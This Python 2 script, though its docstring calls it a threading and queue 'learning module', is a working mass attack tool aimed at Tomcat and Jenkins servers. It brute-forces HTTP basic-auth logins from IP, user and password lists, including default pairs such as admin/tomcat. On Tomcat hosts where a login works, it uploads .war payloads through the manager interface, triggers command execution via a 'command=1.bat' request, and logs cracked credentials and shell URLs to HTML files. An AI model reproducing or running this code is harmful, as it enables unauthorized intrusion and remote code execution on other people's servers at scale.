#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
learning module Threading and queue
'''
import xml.sax,urlparse
from Queue import Queue
from  sys import argv
from log_bruteforce import Logger
logger = Logger().get_log
headers ={
    'Accept-Encoding':'gzip, deflate',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Connection':'close',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36'
}
port = argv[1]
work = Queue()
ips = [ip.strip() for ip in open('ips/%s.txt' % port)]
users  = [user.strip() for user in open('users.txt')]
pwds = [pwd.strip() for pwd in open('passwd.txt')]
import os
def get_all_fpre(prefix_name='.war'):
    return [x for x in os.listdir('.') if x.endswith(prefix_name)]
appname = get_all_fpre('.war')
# to confirm bruted server is Jenkins Server
sub  = set(['X-Hudson','X-Jenkins','X-Jenkins-Session','Server'])
path = {'Apache':'manager/html','Jenkins':'login?from=%2F'}
if(len(argv)<=1):
    print(
        '''
        Brute port need to be specificed.
        eg:python brute.py port Thread
        '''
    )
    exit()

import requests,mechanize,urllib
from requests.auth import HTTPBasicAuth
from threading import Thread,active_count,Lock
def mk():
    auths = []
    for user in users:
        for pwd in pwds:
            auths.append((user,pwd))
    # print(auths)
    for ip,au in {ip:auths for ip in ips}.items():
        work.put({'ip':ip,'auths':au})
def check_uploaded(ip,port,app):
    try:
        url  = 'http://{ip}:{port}/{app}/'.format(ip=ip,port=port,app=app[:-4])
        command = '?sort=1&command=1.bat>log.log&Submit=Launch'
        resp = requests.get(url)
        if resp.status_code != 200:
            return False
        url_exec = url  + command
        resp = requests.get(url_exec)
    except Exception as identifier:
        logger.error('upload:%s' % identifier)
        return False
    good = "<a href='{url}{command}' target='_blank'>{url}<a><br>".format(
        url = url,
        command=command
    )
    with open('uploaded.html','a+') as f:
        f.writelines(good)
    return True
def Brute(**kwargs):
    ip = kwargs['ip']
    auths = kwargs['auths']
    url = "http://{ip}:{port}/".format(ip=ip,port=port)
    url = detect(url)
    if url is None:
        return
    resp = None
    for au in auths:
        user = au[0]
        pwd = au[1]
        try:
            resp = requests.get(url,headers=headers,auth = HTTPBasicAuth(user,pwd),timeout=10)
            status = resp.status_code
            if status == 200:
                if 'The Tomcat Servlet/JSP Container' in resp.text:
                    # if check_uploaded(ip,port,appname) != True:
                    for app in appname:
                        deployApplication(url,user,pwd,app)
                    good  = "<a href='http://{user}:{passwd}@{ip}:{p}/manager/html' target='_blank'>{url}<a><br>".format(
                        ip = ip,
                        user = user,
                        passwd =pwd,
                        p = port,
                        url = url
                    )
                    # logger.info('apache:%s' % url)
                    with open('good.html','a+') as f:
                        f.writelines(good)
                elif 'Jenkins' in resp.text:
                    logger.info('jenkins:%s' % url)
                    good = "<a href='http://{ip}:{p}/login' target='_blank'>{url}<a><br>user:{user}<br>pwd:{passwd}<br>".format(
                        ip = ip,
                        user = user,
                        passwd =pwd,
                        p = port,
                        url = url
                    )
                    with open('good.html','a+') as f:
                        f.writelines(good)
                    resp.close()
                    break
            if status == 404 or status == 401:
                logger.error('{status}{user}:{pwd}|{url}'.format(status=status,user=user,pwd=pwd,url=url))
            resp.close()
        except Exception as e:
            logger.error('Brute func:%s|%s' % (e,url))
            if resp is not None:
                resp.close()
def detect(url):
    resp = None
    try:
        resp = requests.get(url,timeout=10)
        if 'Server' in resp.headers:
            if isApache(resp):
                if url != resp.url:
                    url = resp.url
                url = urlparse.urljoin(url,path['Apache'])
                # logger.debug('apache:%s' % url)
                return url
            if isJenkins(resp):
                if url != resp.url:
                    url = resp.url
                url = urlparse.urljoin(url,path['Jenkins'])
                # logger.debug('Jenkins:%s'% url)
                return url
        resp.close()
    except Exception as e:
        logger.error("detect func:%s" % e)
        if resp is not None:
            resp.close()
    return None
def isApache(resp):
    if 'Apache-Coyote' in resp.headers['Server']:
        return True
    return False
def isJenkins(resp):
    if sub.issubset(resp.headers) and 'Jetty' in resp.headers['Server']:
        return True
    return False      
def deployApplication(url,user,pwd,app=appname):
    bros = mechanize.Browser()
    cookie = mechanize.LWPCookieJar()
    COOLIE = cookie
    bros.set_cookiejar(cookie)
    bros.set_handle_robots(False)
    bros.add_password(url,user,pwd)
    try:
        resp = bros.open(url)
        if resp.getcode() == 200:
            for form in bros.forms():
                action = urllib.quote_plus(form.action)
                if 'upload' in action:
                    bros.form = form
                    # print(bros.form.action)
                    # for cj in COOLIE:
                    #     if cj.name == 'JSESSIONID':
                    #         # bros.form.action = url + '/upload;jsessionid={}'.format(cj.value)
                    #         pass
                    bros.form.add_file(
                        open(app,'rb'),
                        'application/octet-stream',
                        app
                    )
                    bros.submit()
                    bros.close()
    except Exception as e:
        # with open('failed.txt','a+') as f:
        #     f.write(url+'\t'+str(e)+'\n')
        pass
def ThreadBruteTomcat():
    while True:
        info = work.get()
        Brute(**info)
        work.task_done()
def start():
    for x in range(int(argv[2])):
        t = Thread(target=ThreadBruteTomcat)
        t.setDaemon(True)
        t.start()
    work.join()  ###join 堵塞队列
if __name__ == "__main__":

    # startparse()
    mk()
    print(len(ips),len(users),len(pwds)) 
    start()

'''
改变数据结构后 数据装填速度提升至1-2秒
ips = range(200000)
users = ['admin','root']
passwd = ['admin','tomcat','role','manager','secr3t']
auths = []
for user in users:
    for pwd in passwd:
        auths.append((user,pwd))
目标形式 queue = [{ip:[(user1,pass1),(user2,pass2)]}...]
from Queue import Queue
q = Queue()
from time import time
from datetime import datetime
print(datetime.now())
start = time()
for k,v in {ip:auths for ip in ips}.items():
    q.put({'ip':k,'auths':v})
print(datetime.now())
print(time()-start)
print(q.get())
'''
